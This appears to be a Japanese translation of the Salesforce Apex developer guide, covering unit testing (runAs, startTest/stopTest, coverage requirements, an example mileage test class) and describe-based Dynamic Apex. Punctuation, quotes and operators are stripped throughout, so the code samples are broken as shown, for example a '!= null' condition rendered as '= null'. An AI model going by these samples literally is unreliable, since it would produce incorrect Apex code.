アプリケーションのテストには 2 種類あります1 つは Salesforcecomユーザインターフェースと使用したテストですこれは重要ですがユーザインターフェースを使用してあまりテストを行わない場合アプリケーションの使用状況ケースのすべてを取得するわけではありません一括機能についてテストする必要もありますForcecom Web サービス API または Visualforce 標準セットコントローラを使用している場合最大 200 件のレコードがコードを通過できます

アプリケーションはめったに完了しません機能を変更または拡張する追加リリースがあります包括的テストを行う場合回帰に新しい機能を導入することができます

またForcecom AppExchange 向けにコードを展開またはパッケージ化する前に次の点を実行する必要があります

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了します

次の点に注意してください

- 運用組織に展開する場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコードの割合

にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

メモ Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

Salesforcecom は組織内のユニットテストを Apex スクリプトで実行しサービスアップグレードの結果として動作が変更されていないことを確認します

Apex のテストの対象Salesforcecom は次についてテストを作成することをお勧めします

単一アクション単一レコードが適切で期待される結果を生成することを確認するテスト

Apex のテスト Version 180 | Apex のテストについて | 123

一括アクションすべての Apex スクリプトがトリガクラスまたは拡張であっても1 から 200 件のレコードについて呼び出されます単一レコードのケースだけでなく一括ケースについてもテストする必要があります

正の動作期待される動作がすべての期待される順列で行われることつまりユーザが正しく入力し制限を超えていないことを確認するテスト

負の動作将来の日付を追加できない負の数量を指定できないなどアプリケーションに制限がある場合があります負のケースについてテストし制限のケース内で正のケースと同様エラーメッセージが適切に表示されることを確認する必要があります

制限ユーザコード内で使用する sObjects に対するアクセス権が制限されているユーザが期待される動作を行えるかどうか (コードを実行できるかエラーメッセージを受信するか) についてのテスト

メモ 条件演算子および 3 項演算子は肯定ブランチおよび否定ブランチの両方が実行されない限り実行されるとはみなされません

テスト作成の詳細は「テストの例 (ページ 129)」を参照してください

Apex のユニットテスト

強固な開発を促進するためにエラーのないコードApex はユニットテストの作成および実行をサポートしますユニットテストは特定のコードが適切に動作しているかを確認するクラスメソッドですユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義で testMethod

キーワードを使用してフラグを立てます

public class myClass static testMethod void myTest() code_block

メモ Web サービスコールアウトのテストに Test メソッドは使用できませんWeb サービスのコールアウトは非同期ですが非ニットテストは同期です

runAsメソッドの使用一般にApex スクリプトはすべてシステムモードで実行され現在のユーザの権限やレコード共有は考慮されませんシステムメソッドrunAsを使用してユーザコンテキストを既存のユーザまたは新規ユーザに変更するテストメソッドを作成したり特定バージョンの管理パッケージのコードを使用して実行したりできますユーザとして実行する場合ユーザのレコード共有のすべてが適用されますrunAsはテストメソッドでのみ使用できます元のシステムコンテキストはすべてのrunAsテストメソッドが完了した後で再開されますrunAs

メソッドの使用およびパッケージバージョンのコンテキスト指定の詳細は「パッケージバージョンの動作のテスト (ページ 169)」を参照してください

Apex のテスト Version 180 | Apex のユニットテスト | 124

メモ ユーザを指定する runAsへのコールは 20 件のみトランザクションで実行できます

次の例では新しいテストユーザーが作成されコードはユーザーの権限およびレコードアクセス権限によってを持つユーザーとして実行されます

public class TestRunAs public static testMethod void testRunAs() テストデータを設定 このコードはシステムユーザーとして実行

Profile p = [select id from profile where name=Standard User] User u = new User(alias =standt email=standardusertestorgcom emailencodingkey=UTF-8 lastname=Testinglanguagelocalekey=en_US localesidkey=en_US profileid = pIdtimezonesidkey=AmericaLos_Angeles username=standardusertestorgcom)

SystemrunAs(u) 次のコードはユーザー u として実行 Systemdebug(Current User +UserInfogetUserName()) Systemdebug(Current Profile + UserInfogetProfileId())

複数の runAsメソッドをネストすることができます例

public class TestRunAs2

public static testMethod void test2()

Profile p = [SELECT Id FROM profile WHERE name=Standard User] User u2 = new User(alias= newUser email=newusertestorgcom emailencodingkey=UTF-8 lastname=Testinglanguagelocalekey=en_US localesidkey=en_US profileid = pIdtimezonesidkey=AmericaLos_Angeles username=newusertestorgcom)

SystemrunAs(u2) 次のコードはユーザー u2 として実行しますSystemdebug(Current User +UserInfogetUserName()) Systemdebug(Current Profile + UserInfogetProfileId())

次のコードはユーザー u3 として実行します

User u3 = [select id from user where username=newusertestorgcom] SystemrunAs(u3) Systemdebug(Current User + UserInfogetUserName()) Systemdebug(Current Profile + UserInfogetProfileId())

ここで追加コードはユーザー u2 として実行します

runAs使用のベストプラクティス

次の項目では特定ユーザとして実行する runAsで指定されたユーザーに割り当てられた権限を使用します

bull ダイナミック Apexbull with sharingまたは without sharingを使用するメソッドbull 共有レコード

元の権限はrunAsが下記を完了後にリセットされます

runAsメソッドはユーザライセンスの制限を無視します組織に追加ユーザライセンスがない場合でもrunAs

で新しいユーザを作成できます

Apex のテスト Version 180 | runAs メソッドの使用 | 125

LimitsstartTestおよび stopTestの使用Limits メソッドはトリガWeb サービスメソッドなど実行されているコンテキストに対する特定の制限を返します

各メソッドには 2 つのバージョンがあります一方のバージョンのメソッドは現在のコンテキストで使用されているリソースの数を返しもう一方のバージョンは limit という用語を使用し該当するコンテキストに使用できるリソースの合計を返しますたとえばgetCalloutsは現在のコンテキストで処理されている外部サービスへのコールアウト数を返しgetLimitCalloutsは指定されたコンテキストで使用できるコールアウト数の合計を返します

Limits メソッドのほかstartTestメソッドおよび stopTestメソッドを使用してコードがガバナー制限にどれくらい近づいているかを確認します

startTestメソッドはテストが実際に開始する場合のテストコード内のポイントをマークします それぞれのtestMethodはこのメソッドを一度だけコールできますこのメソッドの前のすべてのコードを変数の初期化データ構造の投入などのために使用する必要がありますテスト実行のために必要なすべてを設定できますこのメソッドをコールした後適用される制限は最初の DML ステートメント (INSERTDELETEなど) または最初の Web サービス呼び出しに基づいています

startTestメソッドはテストのコンテキストを更新しませんコンテキストをテストに追加しますたとえばstartTestを呼び出す前に 98 件の SOQL クエリを作成しstartTest後の最初の有意な文が DML ステートメントである場合プログラムは追加の 100 件のクエリを作成できるようになりましたただしstopTestが呼び出されるとプログラムは元のコンテキストに戻り100 件の制限に達するまで追加できる SOQL クエリは2 件だけになります

stopTestメソッドはテストが終了する場合のテストコード内のポイントをマークしますこのメソッドはstartTestメソッドと組み合わせて使用しますそれぞれの testMethodはこのメソッドを一度だけコールできますこのメソッドをコールした後帰結表明が元のコンテキストで行われますstartTestメソッド後に作成されたすべての非同期コールはシステムによって収集されますstopTestを実行する場合すべての非同期プロセスが同期して実行されます

SOSL クエリのユニットテストへの追加テストメソッドが必ず予測されたとおりに動作するようにApex テストメソッドに追加される Salesforcecom オブジェクト検索言語 (SOSL) クエリはテストメソッドが実行された場合に検索結果の空のセットを返しますクエリが結果の空のリストを返さないようにする場合TestsetFixedSearchResultsシステムを使用して検索に返される一連のレコード ID を定義できますテストメソッドで後で実行される SOSL クエリはTestsetFixedSearchResultsメソッドで指定されたレコード ID のリストを返しますまたテストメソッドは TestsetFixedSearchResultsを複数回コールしてさまざまな SOSL クエリのさまざまな結果セットを定義できますテストメソッドで TestsetFixedSearchResultsメソッドをコールしない場合またはレコード ID のリストを指定しないでこのメソッドをコールする場合テストメソッドで後で実行される SOSL クエリは結果の空のリストを返します

TestsetFixedSearchResultsメソッドで指定されたレコード ID のリストはWHERE句または LIMIT句に指定されていない場合に通常 SOSL クエリで返された結果を置き換えますこれらの句が SOSL クエリにある場合固定された検索結果のリストに適用されます例

public class SoslFixedResultsTest1

public static testMethod void testSoslFixedResults() Id [] fixedSearchResults= new Id[1]fixedSearchResults[0] = 001x0000003G89h TestsetFixedSearchResults(fixedSearchResults)

Apex のテスト Version 180 | LimitsstartTestおよび stopTest の使用 | 126

ListltListltSObjectgtgt searchList = [FIND test IN ALL FIELDS RETURNING Account(id nameWHERE name = test LIMIT 1)]

ID が 001x0000003G89hである取引先レコードが FIND 句のクエリ文字列 (test) に一致しない場合レコードは SOSL ステートメントの RETURNING句に渡されますID 001x0000003G89hのレコードはWHERE句の条件に一致しレコードが返されますWHERE句に一致しない場合レコードは返されません

ユニットテストメソッドの実行

Salesforcecom のユーザインターフェースを使用してApex スクリプトのユニットテストを実行できます特定のクラスのユニットテストを実行することも組織内のすべてのユニットテストを実行することもできますユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義でtestMethodキーワードを使用してフラグを立てます

特定のクラスのユニットテストを実行するには[設定] [開発] [Apex クラス] をクリックしクラス名をクリックして[テストを実行]をクリックします自分のクラスが別のクラスを呼び出した場合またはトリガが実行された場合Apex スクリプトが対象となるコードの割合計算に使用される合計量に含まれます

組織内のすべてのユニットテストを実行するには[設定] [開発] [Apex クラス] をクリックし[すべてのテストを実行] をクリックします

ユニットテストの実行結果ページには次のセクションがあります各セクションは展開したり折りたたんだりできます

bull テストランの回数失敗の回数ユニットテストが網羅する Apex スクリプトの割合を詳細に示す概要セクション

重要

- 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

- 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めします- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされま

せん

bull テストの失敗回数 (発生した場合)bull コードカバー率セクション

このセクションでは組織のすべてのクラスおよびトリガおよびテストの対象となる各クラスおよびトリガのコードの行の割合を一覧表示しますカバー率の数値をクリックするとページが表示されテストの対象となるクラスまたはトリガのコードの行がすべて青でまたテストの対象外であるコードのすべての行が赤で強調表示されますまたクラスまたはトリガの特定の行がテストで実行された回数も表示されます

bull テストカバー率の警告 (発生した場合)bull デバッグログ

デバッグログは自動的に特定のログレベルとカテゴリに設定されます変更はできません

レベルCategory

INFOデータベース

Apex のテスト Version 180 | ユニットテストメソッドの実行 | 127

レベルCategory

FINEApex コードINFOApex プロファイリングINFOワークフローINFOValidation

またForcecom IDE でテストを実行することができます(httpswikiapexdevnetcomindexphpApex_Toolkit_for_Eclipse を参照)

Forcecom Web サービス API から runTests()コールを使用することもできます

RunTestsResult[] runTests(RunTestsRequest ri)

このコールを使用してRunTestsRequest オブジェクトで指定されているようにすべてのクラスのすべてのテスト特定の名前空間のすべてのテスト特定の名前空間のクラスのサブセットにあるすべてのテストを実行することができます次のものが返されます

bull 実行するテストの合計数bull コード範囲の統計 (下記参照)bull 失敗したテストそれぞれの情報bull 成功した各テストの情報bull テストの実行に要した時間

runTests()の詳細はhttpsyour_salesforce_serverserviceswsdlapexにある WSDL を参照してください your_salesforce_serverはna1salesforcecomなど組織があるサーバを示します

Salesforcecom 運用組織の管理者は Salesforcecom ユーザーインターフェースを使用して Apex スクリプトを変更できませんがrunTests()を使用して既存の項目に一意の制約を追加するなど既存のユニットテストが変更が行われた後に完了まで実行されていることを確認することが重要ですSalesforcecom 運用組織ではcompileAndTest API コールを使用して Apex スクリプトを変更する必要があります詳細は「Apex のディプロイ」 (ページ 382)を参照してください

runTests()の詳細は「Web サービス API コールおよび Apex の SOAP ヘッダ」 (ページ 406)を参照してください

ベストプラクティスのテスト

優れたテストは次のようになります

bull 可能な限り多くのコードの行をカバーします

重要

- 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

- 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めします

Apex のテスト Version 180 | ベストプラクティスのテスト | 128

- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

bull 条件ロジックの場合 (3 項演算子など)コードロジックの各ブランチを実行しますbull 有効な入力および無効な入力を使用してメソッドへのコールを行いますbull エラーが予期されずtryhellipcatchブロックで取得されない限り例外を投げずに正常に完了しますbull 例外を取得するのではなく取得されたすべての例外を必ず処理しますbull Systemassertメソッドを使用してコードが適切に動作することを明らかにしますbull runAsメソッドを使用してさまざまなユーザーコンテキストでアプリケーションをテストしますbull isTestアノテーションを使用しますisTestで指定したクラスは1 MB という Apex スクリプトの組織内

の上限には含まれませんbull 一括トリガ機能を実行しますテスト内で最低 20 件のレコードを使用しますbull ORDER BYキーワードを使用しレコードが予期された順序で返されるようにしますbull レコード ID が順番に並んでいることを想定しません

複数のレコードを同じ要求で挿入しない限りレコード ID は昇順で作成されませんたとえば取引先 Aを作成しID 001D000000IEEmTを受信し取引先 B を作成すると取引先 B の ID は順序が上位になる場合とならない場合があります

bull Apex テスト結果ページにはコードカバー率のセクションがありますこのセクションでは組織のすべてのクラスおよびトリガおよびテストの対象となる各クラスおよびとリガのコードの行の割合を一覧表示しますカバー率の数値をクリックするとページが表示されテストの対象となるクラスまたはトリガのコードの行がすべて青でまたテストの対象外であるコードのすべての行が赤で強調表示されますまたクラスまたはトリガの特定の行がテストで実行された回数も表示されます

bull テストデータを次のように設定します

- テストクラスで必要なデータを作成しますテストは特定の組織のデータに依存する必要がありません- starttestメソッドをコールする前にすべてのテストデータを作成します- テストがコミットしていないためデータを削除する必要はありません

bull テストされるものだけでなくテスターがデータについて作成した推定予測される結果などについて言及するコメントを作成します

bull アプリケーションで個別にクラスをテストします1 回のテストでアプリケーション全体をテストしません

多くのテストを実行する場合次について考慮してください

bull Forcecom IDE ではApex プロジェクトの Read timeout値を増加する必要があります詳細はhttpswikiapexdevnetcomindexphpApex_Toolkit_for_Eclipse を参照してください

bull Salesforcecom ユーザーインターフェースで[すべてのテストを実行] ボタンを使用してすべてのテストを同時に実行する代わりに組織内のクラスを個別にテストする必要があります

テストの例

次の例では下記の種類のテストのケースについて示しています

bull 単一レコードおよび複数のレコードを含む正のケース (ページ 131)bull 単一レコードおよび複数のレコードを含む負のケース (ページ 132)

Apex のテスト Version 180 | テストの例 | 129

bull その他のユーザによるテスト (ページ 132)

テストは1 つのマイル追跡アプリケーションで使用されますアプリケーションの既存のコードは500 未満のマイルが 1 日に入力されることを確認しますプライマリオブジェクトは Mileage__c というカスタムオブジェクトですここに全体のテストクラスを示します次のセクションはコードの特定の部分を行います

isTest private class MileageTrackerTestSuite

static testMethod void runPositiveTestCases()

Double totalMiles = 0 final Double maxtotalMiles = 500 final Double singletotalMiles =300 final Double u2Miles = 100

Setup User User u1 = [select id from User where alias=auser]

Run As U1 SystemRunAs(u1)

Systemdebug(Inserting 300 miles(single record validation))

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300 Date__c = Systemtoday()) inserttestMiles1

validate single insert for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate= TODAY and createdById = u1id and miles__c = null]) totalMiles += mmiles__c

SystemassertEquals(singletotalMiles totalMiles)

validate bulk totalMiles = 0 Systemdebug(Inserting 200 mileage records(bulkvalidation))

ListltMileage__cgt testMiles2 = new ListltMileage__cgt() for(integer i=0 ilt200 i++) testMiles2add( new Mileage__c(Miles__c = 1 Date__c = Systemtoday()) )

insert testMiles2

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= u1id and miles__c = null]) totalMiles += mmiles__c

SystemassertEquals(maxtotalMiles totalMiles)

end RunAs(u1)

validate additional user totalMiles = 0 setup RunAs User u2 = [select id from Userwhere alias=tuser] SystemRunAs(u2)

Mileage__c testMiles3 = new Mileage__c(Miles__c = 100 Date__c = Systemtoday()) inserttestMiles3

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= u2id and miles__c = null]) totalMiles += mmiles__c validateSystemassertEquals(u2Miles totalMiles)

SystemRunAs(u2)

runPositiveTestCases()

static testMethod void runNegativeTestCases()

User u3 = [select id from User where alias=tuser] SystemRunAs(u3)

Apex のテスト Version 180 | テストの例 | 130

Systemdebug(Inserting a record with 501 miles(negative test case))

Mileage__c testMiles3 = new Mileage__c( Miles__c = 501 Date__c = Systemtoday() )

try insert testMiles3 catch (DmlException e) Assert Error Message Systemassert(egetMessage()contains(Insert failedFirst exception on + row 0 first errorFIELD_CUSTOM_VALIDATION_EXCEPTION + Mileage request exceeds daily limit(500)[Miles__c]) egetMessage() )

Assert field SystemassertEquals(Mileage__cMiles__c egetDmlFields(0)[0])

Assert Status Code SystemassertEquals(FIELD_CUSTOM_VALIDATION_EXCEPTION egetDmlStatusCode(0) ) catch RunAs(u3) runNegativeTestCases()

class MileageTrackerTestSuite

正のテストケース

次では上記のコード特に単一レコードおよび複数レコードの正のテストケースを行います

1 スクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Inserting 300 more milessingle record validation)

2 Mileage__c オブジェクトを作成しデータベースに挿入します

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300 Date__c = Systemtoday() ) inserttestMiles1

3 挿入されたレコードを返してコードを検証します

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= createdbyId and miles__c = null]) totalMiles += mmiles__c

4 systemassertEqualsメソッドを使用して期待された結果が返されることを確認します

SystemassertEquals(singletotalMiles totalMiles)

5 次のテストに移る前に合計マイル数を 0 に戻します

totalMiles = 0

6 200 件のレコードの一括挿入を作成してコードを検証します

まずスクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Inserting 200 Mileage recordsbulk validation)

7 次に 200 件の Mileage__c レコードを挿入します

ListltMileage__cgt testMiles2 = new ListltMileage__cgt() for(integer i=0 ilt200 i++)testMiles2add( new Mileage__c(Miles__c = 1 Date__c = Systemtoday()) ) inserttestMiles2

Apex のテスト Version 180 | テストの例 | 131

8 SystemassertEqualsを使用して期待された結果が返されることを確認します

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= createdbyId and miles__c = null]) totalMiles += mmiles__c SystemassertEquals(maxtotalMiles totalMiles)

負のテストケース

次は上記のコード特に負のテストケースを行います

1 runNegativeTestCasesという静的テストメソッドを作成します

static testMethod void runNegativeTestCases()

2 スクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Inserting 501 miles negative test case)

3 501 マイルの Mileage__c record レコードを作成します

Mileage__c testMiles3 = new Mileage__c( Miles__c = 501 Date__c = Systemtoday() )

4 insertステートメントをtrycatchブロック内に配置します検証の例外を取得して生成されたエラーメッセージを確認します

try insert testMiles3 catch (DmlException e)

5 Systemassertおよび SystemassertEqualsを使用してテストを実行します次のコードを以前作成した catchブロックに追加します

Assert Error Message Systemassert(egetMessage()contains(Insert failedFirst exception+ on row 0 first error FIELD_CUSTOM_VALIDATION_EXCEPTION + Mileage request exceedsdaily limit(500) [Miles__c]) egetMessage())

Assert Field SystemassertEquals(Mileage__cMiles__c egetDmlFields(0)[0])

Assert Status Code SystemassertEquals(FIELD_CUSTOM_VALIDATION_EXCEPTION egetDmlStatusCode(0))

セカンドユーザとしてのテスト

次は上記のコード特にセカンドユーザとして実行します

1 次のテストに移る前に合計マイル数を 0 に戻します

totalMiles = 0

2 次のユーザを設定します

User u2 = [select id from User where alias=tuser] SystemRunAs(u2)

Apex のテスト Version 180 | テストの例 | 132

3 スクリプトの次のステップを示すデバッグログにテキストを追加します

Systemdebug(Setting up testing - deleting any mileage records for +UserInfogetUserName() + from today)

4 次に 1 件の Mileage__c レコードを挿入します

Mileage__c testMiles3 = new Mileage__c(Miles__c = 100 Date__c = Systemtoday()) inserttestMiles3

5 挿入されたレコードを返してコードを検証します

for(Mileage__c m[SELECT miles__c FROM Mileage__c WHERE createdDate = TODAY and createdById= u2Id and miles__c = null]) totalMiles += mmiles__c

6 systemassertEqualsメソッドを使用して期待された結果が返されることを確認します

SystemassertEquals(u2Miles totalMiles)

Apex のテスト Version 180 | テストの例 | 133

第 7 章

ダイナミック Apex

ダイナミック Apexによって開発者は以下の能力を供給することによってより柔軟なアプリケーションの作成が可能になります

トピック

bull Apex 定義情報についてbull sObjectとフィールドの定義情報へのアクセス

定義情報 はS オブジェクトと項目プロパティに関する情報を提供しますたとえばS オブジェクトの定義情報であればS オブジェ

bull 動的 SOQLbull 動的 SOSLbull ダイナミック DML

クトの種別が作成や復元などの操作S オブジェクトの名前と表示ラベルS オブジェクトの項目や子オブジェクトなどをサポートするかどうかといった情報です項目の定義情報であればその項目がデフォルト値を持っているか合計数を示す項目か項目の種別は何かといった情報です

定義情報は個別のレコードではなく組織内のobjectsについての情報を提供します

bull ダイナミックSOQLクエリを書く ダイナミックSOSLクエリとダイナミックDML

ダイナミック SOQL および SOSL クエリによりSOQL または SOSLを実行時に文字列として実行できます一方ダイナミック DMLによりレコードを動的に作成しDML を使用してデータベースに挿入できますダイナミック SOQLSOSLおよび DML を使用してユーザ権限をカスタマイズできるだけでなくアプリケーションを組織に合わせて的確にカスタマイズすることもできますこの特性はForcecom AppExchange からインストールされたアプリケーションに便利です

Apex 定義情報について

ApexはsObjectとフィールド定義情報に関して以下の2つのデータ構造を提供します

bull トークン-軽量直列化可能なsObjectへの参照またはコンパイル時に検証されるフィールド可能の参照bull 定義結果-sObjectまたはフィールドに関するすべての定義プロパティを含むオブジェクト定義結果オブジェ

クトは直列化不可能でランタイムで有効です

トークンからその定義結果まで移動するのはまたその逆は簡単ですsObjectとトークンは両方ともトークン用の定義結果を返すメソッドgetDescribeを持っています定義結果においてはgetSObjectTypeとgetSObjectFieldメソッドはsObjectとフィールド用にそれぞれトークンを返します

トークンは軽量なのでそれを使うことによってより速くて効率のよいコードの作成が可能です例えばスクリプトで使用する必要のあるsObjectまたはフィールドのタイプを決定する際にはsObjectまたはフィールドのトークンバージョンを使用してくださいsObjectがContactオブジェクトかどうか決定するためには例えばフィールドがNameフィールドまたはカスタム計算されたフィールドかは等価演算子(==)を使ってトークンを比較することができます

以下のコードはsObjectとフィールドプロパティについての情報にアクセスするためのトークンと定義結果の使い方の一般例を示しています

Create a new account as the generic type sObject sObject s = new Account()

Verify that the generic sObject is an Account sObject Systemassert(sgetsObjectType()== AccountsObjectType)

Get the sObject describe result for the Account object SchemaDescribeSObjectResult r =AccountsObjectTypegetDescribe()

Get the field describe result for the Name field on the Account objectSchemaDescribeFieldResult f = SchemasObjectTypeAccountfieldsName

Verify that the field token is the token for the Name field on an Account objectSystemassert(fgetSObjectField() == AccountName)

Get the field describe result from the token f = fgetSObjectField()getDescribe()

以下のアルゴリズムはApexスクリプト内で定義情報を使って作業可能な方法を示しています

1 組織内のsObject用のトークンのリストとマップを作成します Accessing All sObjects (ページ 138)参照 2 アクセスが必要なObjectを決定します3 sObject用の定義結果を作成します4 必要に応じてsObject用のフィールドトークンのマップを作成します Accessing All Field Describe Results for an

sObject (ページ 138)参照 5 アクセスが必要なスクリプトのフィールドのための定義結果を作成します

定義情報権限を理解する

Apexは通常システムモードで実行されますパッケージに含まれるすべてのクラスとトリガすなわち元々組織にあるものは動的に調べることのできるsObject上に制限を持っていませんこれは元々のスクリプトでは現在のユーザ権限に関わらず組織用のすべてのsObjectのマップを作成可能です

ダイナミック Apex Version 180 | Apex 定義情報について | 135

認定された Apex パートナーによって作成されたマージされたパッケージ内に含まれるForcecom AppExchangeからインストールされるダイナミックApexスクリプトは管理されたパッケージの外の sObject に対して制限されたアクセス権はありませんパートナーは管理されたパッケージの一部として含まれない標準sObjectへのアクセスを許可するためにパッケージ内でAPI Access値を設定可能ですパートナーは標準オブジェクトへのアクセスが要求可能な一方でカスタムオブジェクトは管理されたパッケージの一部として含まれず決してパッケージされたダイナミック Apex スクリプトによって参照されたりアクセスされたりできません

詳細はSalesforcecom オンラインヘルプの「パッケージの API とダイナミック Apex アクセスについて」を参照してください

sObjectトークンを使う

AccountとMyCustomObject__cなどのSObjectはトークンと定義結果情報にアクセスする特殊静的メソッドとメンバー変数を持った静的クラスとして機能します定義結果へのアクセスを得るためにコンパイルタイムにおいてsObjectとフィールド名を明示的に参照する必要があります

sObjectのトークンにアクセスするには以下のメソッドの1つを使ってください

bull AccountなどのsObjectタイプ上のsObjectTypeメンバー変数にアクセスしてくださいbull sObject定義結果sObject変数リストまたはマップ上のgetSObjectTypeメソッドを呼び出してください

SchemaSObjectTypeはsObjectトークン用のデータタイプです

以下の例ではAccount sObject用のトークンが返されます

SchemasObjectType t = AccountsObjectType

以下の例でもAccount sObject用のトークンが返されます

Account A = new Account() SchemasObjectType T = AgetSObjectType()

この例はsObjectまたはsObjectのリストが特定のタイプかどうか決定するために使われます

public class sObjectTest Create a generic sObject variable s SObject s =Databasequery(select id from account limit 1)

Verify if that sObject variable is an Account token SystemassertEquals(sgetSObjectType()AccountsObjectType)

一般的な sObjects のリストを作成 ListltsObjectgt l = new Account[]

Verify if the list of sObjects contains Account tokensSystemassertEquals(lgetSObjectType() AccountsObjectType)

いくつかの標準sObjectはsObjectTypeと呼ばれるフィールドを持っています例えばAssignmentRuleQueueSObjectおよびRecordTypeこれらのタイプのsObjectはトークンの取得に常にgetSObjectTypeメソッドを使いますプロパティを使う場合例えばRecordTypesObjectTypeフィールドが返されます

sObject定義結果を使う

sObjectの定義結果にアクセスするには以下のメソッドの1つを使ってください

bull sObjectトークン上のgetDescribeメソッドを呼び出してくださいbull sObjectの名前と一緒にスキーマsObjectType静的変数を使います例えばSchemasObjectTypeLead

ダイナミック Apex Version 180 | Apex 定義情報について | 136

SchemaDescribeSObjectResultはsObjectトークン用のデータタイプです

以下の例ではsObjectトークン上でgetDescribeを使います

SchemaDescribeSObjectResult D = AccountsObjectTypegetDescribe()

以下の例ではスキーマsObjectType静的メンバー変数を使います

SchemaDescribeSObjectResult D = SchemaSObjectTypeAccount

sObject定義結果に利用可能なメソッドについての詳細はsObject Describe Result Methods (ページ 245)を参照してください

フィールドトークンを使う

項目のトークンにアクセスするには以下のメソッドの1つを使ってください

bull sObject静的タイプの静的メンバー変数名例えばAccountNameにアクセスしてくださいbull 項目定義結果上のgetSObjectFieldメソッドを呼び出します

項目トークンはデータタイプSchemaSObjectFieldを使います

以下の例では項目トークンはAccountオブジェクトのAccountNumber項目用に返されます

SchemaSObjectField F = AccountAccountNumber

以下の例では項目トークンは項目定義結果から返されます

Get the describe result for the Name field on the Account object SchemaDescribeFieldResultf = SchemasObjectTypeAccountfieldsName

Verify that the field token is the token for the Name field on an Account objectSystemassert(fgetSObjectField() == AccountName)

Get the describe result from the token f = fgetSObjectField()getDescribe()

項目定義結果を使う

項目の定義結果にアクセスするには以下のメソッドの1つを使ってください

bull 項目トークン上のgetDescribeメソッドを呼び出してくださいbull sObjectトークンのfieldsメンバー変数に項目メンバー変数 NameBillingCityなど を使ってアクセスし

てください

項目定義結果はデータタイプSchemaDescribeFieldResultを使います

以下の例ではgetDescribeメソッドを使っています

SchemaDescribeFieldResult F = AccountAccountNumbergetDescribe()

この例では以下のfieldsメンバー変数メソッドを使います

SchemaDescribeFieldResult F = SchemaSObjectTypeAccountfieldsName

ダイナミック Apex Version 180 | Apex 定義情報について | 137

上記の例ではシステムは最終メンバー変数 (Name)がコンパイルタイムにおいて指定のsObjectに有効だと認証する特別解析を使いますパーサーがfieldsメンバー変数を見つけると後ろに戻ってsObject (Account)名を見つけfieldsメンバー変数に続く項目名が正当だと認証しますfieldsメンバー変数はこの方式で使われた時のみ機能します

1つのApexスクリプト内にたった10のfieldsメンバー変数ステートメントしか持つことができません

メモ 項目メンバー変数名またはgetMapメソッドのいづれかを使わずにfieldsメンバー変数を使うべきではありませんgetMapについての詳細はAccessing All Field Describe Results for an sObject (ページ138)を参照してください

項目定義結果に利用可能なメソッドについての詳細は「項目定義結果メソッド (ページ 249)」を参照してください

すべてのObjectにアクセスする

スキーマgetGlobalDescribeメソッドを使ってsObjectトークン 値 に対するすべてのsObject名 キー 間の関係を表すマップを返してください例

MapltString SchemaSObjectTypegt gd = SchemagetGlobalDescribe()

マップには以下の特徴があります

bull 権限に基づいて動的すなわち現在組織に利用可能なsObject上でランタイムで生成されますbull sObject名はケースインセンシティブですbull キーは必要に応じて名前空間を使いますbull キーはsObjectがカスタムオブジェクトかどうかを反映します

例えばマップを生成するコードブロックが名前空間N1にありまたsObjectもN1にある場合マップ内のキーはMyObject__cとして表されますしかしながらコードブロックが名前空間N1にありsObjectは名前空間N2にある場合キーはN2__MyObject__cです

さらに標準sObjectは名前空間プレフィックスを持っていません

sObject用のすべての項目定義結果にアクセスする

項目定義結果のgetMapメソッドを使ってsObject用のすべての項目名 キー と項目トークン 値 の間の関係を表すマップを返してください

以下の例では名前で項目にアクセスするのに使用可能なマップを生成します

MapltString SchemaSObjectFieldgt M = SchemaSObjectTypeAccountfieldsgetMap()

メモ このマップの値タイプは項目定義結果ではありません定義結果を使用するととても多くのシステムリソースを使いますそれは適切な項目を探すのに利用可能なトークンのマップです項目を決定したらその定義結果を作成してください

マップには以下の特徴があります

bull 動的でそのsObjectの項目上でランタイムにおいて作成されますbull すべての項目名はケースインセンシティブですbull キーは必要に応じて名前空間を使います

ダイナミック Apex Version 180 | Apex 定義情報について | 138

bull キーは項目がカスタムオブジェクトかどうかを反映します

例えばマップを生成するコードブロックが名前空間N1にありまた項目もN1にある場合マップ内のキーはMyField__cとして表されますしかしながらコードブロックが名前空間N1にあり項目は名前空間N2にある場合キーはN2__MyField__cです

さらに標準項目は名前空間プレフィックスを持っていません

sObject に関連するすべてのカテゴリのアクセス

describeDataCategoryGroupsおよび describeDataCategoryGroupStructuresメソッドを使用して特定のオブジェクトに関連するカテゴリを返します

1 選択したオブジェクトに関連するすべてのカテゴリグループを返します (describeDataCategoryGroups (ページ240) を参照)

2 返されたマップから詳細に検索するカテゴリグループ名と sObject 名を取得します ( SchemaDescribeDataCategoryGroupResult (ページ 240) を参照)

3 カテゴリグループおよび関連するオブジェクトを指定しこのオブジェクトに使用できるカテゴリを取得します ( describeDataCategoryGroupStructures (ページ 241) を参照)

